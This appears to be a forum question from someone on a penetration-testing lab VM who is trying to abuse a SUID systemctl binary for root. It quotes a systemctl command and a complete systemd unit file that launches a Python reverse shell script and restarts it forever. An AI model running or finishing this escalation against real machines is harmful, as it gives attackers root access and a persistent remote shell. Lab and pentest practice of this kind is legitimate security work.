I'm working on a pentest VM, and have elevated my user privileges to that of a common user. I can see from my enumeration scans that
systemctl has a SUID bit set, and has the ownership group listed as my current users group.
I created a python reverse shell, and
revshell_root.service to call it using systemctl. I have no write access to
/lib/systemd/system to place the service file, so I'm trying to use the
--root= option of systemctl to specify the location of the service file.
systemctl --root=/tmp/serv start revshell_root.service
However, I get the following error:
Failed to start revshell_root.service: Unit revshell_root.service not found.
[Unit] Description=root shell After=network.target StartLimitIntervalSec=0 [Service] Type=simple Restart=always RestartSec=1 User=elevated_user_name ExecStart=/usr/bin/env python3 /tmp/revshell_root.py [Install] WantedBy=multi-user.target